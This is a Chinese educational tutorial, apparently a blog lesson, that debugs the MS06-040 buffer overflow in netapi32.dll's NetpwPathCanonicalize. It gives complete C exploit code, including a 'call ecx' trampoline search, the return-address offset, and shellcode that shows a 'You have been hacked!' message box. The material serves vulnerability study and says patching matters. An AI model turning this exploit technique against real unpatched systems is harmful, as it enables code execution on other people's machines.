缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试
前言
经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。
编写漏洞利用程序的框架
这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:
- #include <windows.h>
- typedef void (*MYPROC)(LPTSTR, ...);
- int main()
- {
- char Str[0x320];
- char lpWideCharStr[0x440];
- int arg_8 = 0x440;
- char Source[0x100];
- long arg_10 = 44;
- HINSTANCE LibHandle;
- MYPROC Func;
- char DllName[] = "./netapi32.dll";
- LibHandle = LoadLibrary(DllName);
- if( LibHandle == NULL)
- {
- MessageBox(0, "Can't Load DLL!", "Warning", 0);
- FreeLibrary(LibHandle);
- }
- Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
- if ( Func == NULL )
- {
- MessageBox(0, "Can't Load Function Address!", "Warning", 0);
- FreeLibrary(LibHandle);
- }
- memset(Str, 0, sizeof(Str));
- memset(Str, 'a', sizeof(Str)-2);
- memset(Source, 0, sizeof(Source));
- memset(Source, 'b', sizeof(Source)-2);
- (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
- FreeLibrary(LibHandle);
- return 0;
- }
程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:
由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。
动态调试漏洞
我们使用OD载入上述程序,同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数:
图2
可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:
图3
可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:
图4
结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68:
图5
那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:
图6
由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:
图7
可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“\”,接着来到了第二个字符串拷贝的位置:
图8
这里将长串字符“a”连接在了“\”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:
图9
此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source串中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。
获取CALL ECX地址
我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1,我们直接在Netapi32.dll这个程序中进行查找,只需将我们之前讲过的用于查找call esp的程序稍作改动即可:
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #define DLL_NAME "./netapi32.dll"
- int main()
- {
- BYTE *ptr;
- int position,address;
- HINSTANCE handle;
- BOOL done_flag = FALSE;
- handle = LoadLibrary(DLL_NAME);
- if(!handle)
- {
- printf("load dll error!");
- exit(0);
- }
- ptr = (BYTE*)handle;
- for(position = 0; !done_flag; position++)
- {
- try
- {
- if(ptr[position]==0xFF && ptr[position+1]==0xD1)
- {
- int address = (int)ptr + position;
- printf("OPCODE found at 0x%x\n", address);
- }
- }
- catch(...)
- {
- int address = (int)ptr + position;
- printf("END OF 0x%x\n", address);
- done_flag = true;
- }
- }
- getchar();
- return 0;
- }
结果如下:
依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“\”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。
完成漏洞利用程序
于是可以将之前的框架程序修改为:
- #include <windows.h>
- typedef void (*MYPROC)(LPTSTR, ...);
- char ShellCode[] =
- "\x33\xDB" // xor ebx,ebx
- "\xB7\x06" // mov bh,6
- "\x2B\xE3" // sub esp,ebx
- "\x33\xDB" // xor ebx,ebx
- "\x53" // push ebx
- "\x68\x69\x6E\x67\x20"
- "\x68\x57\x61\x72\x6E" // push "Warning"
- "\x8B\xC4" // mov eax,esp
- "\x53" // push ebx
- "\x68\x2E\x29\x20\x20"
- "\x68\x20\x4A\x2E\x59"
- "\x68\x21\x28\x62\x79"
- "\x68\x63\x6B\x65\x64"
- "\x68\x6E\x20\x68\x61"
- "\x68\x20\x62\x65\x65"
- "\x68\x68\x61\x76\x65"
- "\x68\x59\x6F\x75\x20" // push "You have been hacked!(by J.Y.)"
- "\x8B\xCC" // mov ecx,esp
- "\x53" // push ebx
- "\x50" // push eax
- "\x51" // push ecx
- "\x53" // push ebx
- "\xB8\xea\x07\xd5\x77"
- "\xFF\xD0" // call MessageBox
- "\x53"
- "\xB8\xFA\xCA\x81\x7C"
- "\xFF\xD0" ; // call ExitProcess
- int main()
- {
- char Str[0x320];
- char lpWideCharStr[0x440];
- int arg_8 = 0x440;
- char Source[0x100];
- long arg_10 = 44;
- HINSTANCE LibHandle;
- MYPROC Func;
- char DllName[] = "./netapi32.dll";
- LoadLibrary("user32.dll");
- LibHandle = LoadLibrary(DllName);
- if( LibHandle == NULL)
- {
- MessageBox(0, "Can't Load DLL!", "Warning", 0);
- FreeLibrary(LibHandle);
- }
- Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
- if ( Func == NULL )
- {
- MessageBox(0, "Can't Load Function Address!", "Warning", 0);
- FreeLibrary(LibHandle);
- }
- memset(Str, 0, sizeof(Str));
- memset(Str, 'a', sizeof(Str)-2);
- memset(Source, 0, sizeof(Source));
- memset(Source, 'b', sizeof(Source)-2);
- memcpy(Source, ShellCode, sizeof(ShellCode));
- Str[0x318] = 0xF9;
- Str[0x319] = 0x52;
- Str[0x31A] = 0x18;
- Str[0x31B] = 0x75;
- (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
- FreeLibrary(LibHandle);
- return 0;
- }
运行结果如下:
可见我们已经成功地利用了这个漏洞。
小结
由此可见,对于系统级别的漏洞,及时更新补丁是非常重要的。而作为漏洞分析人员,也要具备恒心与毅力,不断地积累经验,勇于接受挑战,多多尝试,才能有所收获。
缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试的更多相关文章
- 缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘
前言 经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用.在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否 ...
- 缓冲区溢出分析第07课:MS06-040漏洞研究——静态分析
前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就 ...
- 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析
漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...
- 缓冲区溢出分析第10课:Winamp缓冲区溢出研究
前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的. ...
- 缓冲区溢出分析第05课:编写通用的ShellCode
前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...
- 缓冲区溢出分析第04课:ShellCode的编写
前言 ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理.那么下面我们就来编写S ...
- W32Dasm缓冲区溢出分析【转载】
课程简介 在上次课程中与大家一起学习了编写通用的Shellcode,也提到会用一个实例来展示Shellcode的溢出. 那么本次课程中为大家准备了W32Dasm这款软件,并且是存在漏洞的版本.利用它的 ...
- 使用Linux进行缓冲区溢出实验的配置记录
在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...
- CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc
1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...
随机推荐
- LeetCode-二叉树的深度
二叉树的深度 二叉树的深度 使用递归求解二叉树的深度. 需要注意使用的临界条件. /** * 任意一个二叉树的最大深度 **/ #include<iostream> #include< ...
- HDOJ-1257(贪心/动态规划)
最少拦截系统 HDOJ-1257 我做这题的思路就是采用暴力或者贪心.也就是每次循环选出从第一个未被选择的元素开始,依次把后面可以选择的元素作为一个系统.最后统计可以有多少个系统. 还有人的思路就是利 ...
- Go语言|类型转换和类型别名
类型转换 同类型之间的转换 Go语言中只有强制类型转换,没有隐式类型转换.该语法只能在两个类型之间支持相互转换的时候使用. import "fmt" func main() { v ...
- 关于ORACLE数据库跨库调用序列的解决办法
问题 ORACLE 数据库 用户1 xscg 有序列 seq_S_ATTACHMENT_INFO.nextval 我要在 用户2 xsds 里面调用 ...
- wireshark如何抓取分析https的加密报文
[问题概述] https流量基于ssl/tls加密,无法直接对报文进行分析. [解决方案] 方案1 -- 利用"中间人攻击"的代理方式抓包分析.整个方案过程比较简单,这里不赘述,大 ...
- Hexagon HDU - 6862
题目链接:https://vjudge.net/problem/HDU-6862 题意: 由六边形组成的圆形图案,要求不重复走遍历每一个小六边形. 思路:https://www.cnblogs.com ...
- effective解读-第一条 静态工厂创建对象代替构造器
好处 有名称,能见名知意.例如BigInteger的probablePrime方法 享元模式.单例模式中使用 享元模式:创建对象代价很高,重复调用已有对象,例如数据库连接等.享元模式是单例模式的一个拓 ...
- idea报错Selected Java version 11 is not supported by SDK (maximum 8)
解决方案
- 微信开发者工具导入 wepy 项目“app.json 未找到”报错解决方法
版本信息: 微信开发者工具:1.03.2101150 wepy:2.0 wepy/cli:6.14.8 问题描述 按照 wepy 文档中的步骤新建项目: $ npm install @wepy/cli ...
- [源码解析] 分布式任务队列 Celery 之启动 Consumer
[源码解析] 分布式任务队列 Celery 之启动 Consumer 目录 [源码解析] 分布式任务队列 Celery 之启动 Consumer 0x00 摘要 0x01 综述 1.1 kombu.c ...